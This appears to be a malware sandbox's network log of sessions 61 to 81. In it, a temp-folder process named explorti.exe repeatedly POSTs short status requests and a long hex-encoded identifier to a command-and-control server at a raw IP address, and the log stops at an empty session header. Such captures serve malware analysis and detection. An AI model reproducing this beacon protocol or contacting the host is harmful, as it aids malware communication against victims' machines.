Jul 5, 2024 06:24:26.036518097 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:24:26.753245115 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.7	51557	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:24:26.770725965 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:24:27.494713068 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.7	51559	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:24:27.803556919 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:24:28.523590088 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.7	51560	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:24:28.643973112 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:24:29.364763975 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.7	51561	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:24:29.373300076 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:24:30.068118095 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.7	51562	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:24:30.205040932 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:24:30.893331051 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.7	51564	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:24:31.019248009 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:24:31.730961084 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.7	51565	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:24:31.746742964 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:24:32.442207098 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.7	51566	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:24:32.565803051 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:24:33.265217066 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.7	51567	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:24:33.273648977 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:24:33.995172024 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.7	51568	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:24:34.112837076 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:24:34.803244114 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.7	51569	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:24:34.814079046 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:24:35.508248091 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.7	51570	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:24:35.631444931 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:24:36.342698097 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.7	51571	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:24:36.351772070 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:24:37.074590921 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.7	51572	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:24:37.190785885 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:24:37.916745901 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.7	51573	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:24:37.925370932 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:24:38.640656948 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.7	51574	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:24:38.760025978 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:24:39.453836918 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 06:24:39.456881046 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:24:39.673794985 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.7	51575	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:24:39.785011053 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:24:40.502578020 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 06:24:40.510042906 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:24:40.737032890 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.7	51576	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:24:40.860018969 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:24:41.590135098 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.7	51577	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:24:41.598625898 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:24:42.302125931 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.7	51578	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:24:42.425009966 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:24:43.121740103 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.7	51579	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
